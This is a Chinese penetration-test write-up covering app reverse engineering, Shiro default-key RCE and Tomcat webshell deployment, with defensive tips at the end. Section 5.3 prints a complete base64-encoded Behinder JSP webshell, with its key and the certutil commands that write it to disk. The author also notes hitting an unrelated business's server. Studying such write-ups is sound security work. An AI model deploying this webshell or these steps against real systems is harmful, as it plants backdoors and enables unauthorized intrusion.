APP简单逆向到getshell
字数 1326 2025-08-29 08:31:35

APP逆向与渗透测试实战:从逆向分析到获取Shell

1. 前言与背景

本次渗透测试目标是一个仅包含登录框的APP,该登录框调用公司门户站的SSO单点登录系统,并受到长亭WAF保护。常规渗透测试方法难以突破,因此转向APP逆向分析寻找突破口。

2. 逆向分析准备

2.1 工具准备

  • 反编译工具:jadx(用于反编译APK)
  • 脱壳工具:反射大师(用于处理爱加密加固)
  • 信息搜集工具:AppInfoScanner(扫描APP中的URL信息)
  • 抓包工具:配合Hook绕过反抓包机制

2.2 初步逆向分析

  1. 使用jadx反编译APK,发现存在爱加密加固
  2. 使用反射大师进行脱壳,获取原始dex文件
  3. 再次使用jadx分析脱壳后的代码
  4. 发现使用okhttp框架,存在反抓包机制

3. 寻找突破口

3.1 URL信息搜集

  1. BaseUrlConfig类中发现一组IP地址(相同IP不同端口)
  2. 使用AppInfoScanner主动扫描获取更多URL信息
  3. 全局搜索http://关键词,发现更多URL

3.2 测试发现的URL

  1. 访问IP地址,发现空白页面但显示Tomcat图标
  2. 发现类似http://xxxxx:8080/web/weixin/xxxxxx的URL
  3. 基于"weixin"关键词猜测路径,尝试/web/weixin/login
  4. 成功发现登录页面

4. 漏洞利用

4.1 Shiro漏洞利用

  1. 根据URL特征推测后端为Java
  2. 尝试Shiro默认密钥进行RCE攻击
  3. 成功获取系统权限的远程代码执行能力

5. 写入Webshell的挑战与解决方案

5.1 初始尝试方法

  1. 方法一:echo写入(需转义特殊字符)

    • JSP马特殊字符多,转义复杂
    • 本地测试成功但目标环境失败(编码问题)
  2. 方法二:Base64解码写入

    • 使用certutil -decode命令
    • 本地成功但目标环境解码失败(输出长度为0)

5.2 Fuzz测试发现问题

  1. 分段Base64编码上传测试
  2. 发现冰蝎马的最后四个字符;}%>导致解码失败
  3. 解决方案:
    • 先写入除最后四个字符外的内容
    • 再单独追加最后四个字符

5.3 写入命令示例

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txt
certutil -decode 1.txt 2.jsp
echo ;}%> >> 2.jsp

5.4 路径问题解决

  1. 初始写入根目录不解析(变为下载)
  2. 解决方案:写入Tomcat自带目录(如docs目录)

6. 经验总结

  1. 环境差异:本地测试成功不代表目标环境能成功
  2. Fuzz测试:遇到问题时分段测试是有效方法
  3. 备选方案:内存马注入可作为最后手段(但可能导致服务崩溃)
  4. 资产确认:确保攻击的是正确目标(本例中打到其他业务服务器)

7. 防御建议

  1. 加固防护

    • 避免使用默认密钥
    • 及时更新框架和组件
  2. 敏感信息管理

    • 不要在客户端存储敏感URL
    • 使用混淆和加密保护配置信息
  3. 输入验证

    • 严格过滤特殊字符
    • 限制命令执行功能
  4. 监控措施

    • 监控异常文件创建
    • 检测异常命令执行

8. 工具与资源

  1. 逆向工具

    • jadx
    • 反射大师
    • Frida(用于Hook)
  2. 扫描工具

    • AppInfoScanner
    • MobSF
  3. 漏洞利用工具

    • Shiro反序列化利用工具
    • ysoserial
  4. Webshell管理

    • 冰蝎
    • 哥斯拉
    • AntSword
APP逆向与渗透测试实战:从逆向分析到获取Shell 1. 前言与背景 本次渗透测试目标是一个仅包含登录框的APP,该登录框调用公司门户站的SSO单点登录系统,并受到长亭WAF保护。常规渗透测试方法难以突破,因此转向APP逆向分析寻找突破口。 2. 逆向分析准备 2.1 工具准备 反编译工具 :jadx(用于反编译APK) 脱壳工具 :反射大师(用于处理爱加密加固) 信息搜集工具 :AppInfoScanner(扫描APP中的URL信息) 抓包工具 :配合Hook绕过反抓包机制 2.2 初步逆向分析 使用jadx反编译APK,发现存在爱加密加固 使用反射大师进行脱壳,获取原始dex文件 再次使用jadx分析脱壳后的代码 发现使用okhttp框架,存在反抓包机制 3. 寻找突破口 3.1 URL信息搜集 在 BaseUrlConfig 类中发现一组IP地址(相同IP不同端口) 使用AppInfoScanner主动扫描获取更多URL信息 全局搜索 http:// 关键词,发现更多URL 3.2 测试发现的URL 访问IP地址,发现空白页面但显示Tomcat图标 发现类似 http://xxxxx:8080/web/weixin/xxxxxx 的URL 基于"weixin"关键词猜测路径,尝试 /web/weixin/login 成功发现登录页面 4. 漏洞利用 4.1 Shiro漏洞利用 根据URL特征推测后端为Java 尝试Shiro默认密钥进行RCE攻击 成功获取系统权限的远程代码执行能力 5. 写入Webshell的挑战与解决方案 5.1 初始尝试方法 方法一 :echo写入(需转义特殊字符) JSP马特殊字符多,转义复杂 本地测试成功但目标环境失败(编码问题) 方法二 :Base64解码写入 使用 certutil -decode 命令 本地成功但目标环境解码失败(输出长度为0) 5.2 Fuzz测试发现问题 分段Base64编码上传测试 发现冰蝎马的最后四个字符 ;}%> 导致解码失败 解决方案: 先写入除最后四个字符外的内容 再单独追加最后四个字符 5.3 写入命令示例 5.4 路径问题解决 初始写入根目录不解析(变为下载) 解决方案:写入Tomcat自带目录(如docs目录) 6. 经验总结 环境差异 :本地测试成功不代表目标环境能成功 Fuzz测试 :遇到问题时分段测试是有效方法 备选方案 :内存马注入可作为最后手段(但可能导致服务崩溃) 资产确认 :确保攻击的是正确目标(本例中打到其他业务服务器) 7. 防御建议 加固防护 : 避免使用默认密钥 及时更新框架和组件 敏感信息管理 : 不要在客户端存储敏感URL 使用混淆和加密保护配置信息 输入验证 : 严格过滤特殊字符 限制命令执行功能 监控措施 : 监控异常文件创建 检测异常命令执行 8. 工具与资源 逆向工具 : jadx 反射大师 Frida(用于Hook) 扫描工具 : AppInfoScanner MobSF 漏洞利用工具 : Shiro反序列化利用工具 ysoserial Webshell管理 : 冰蝎 哥斯拉 AntSword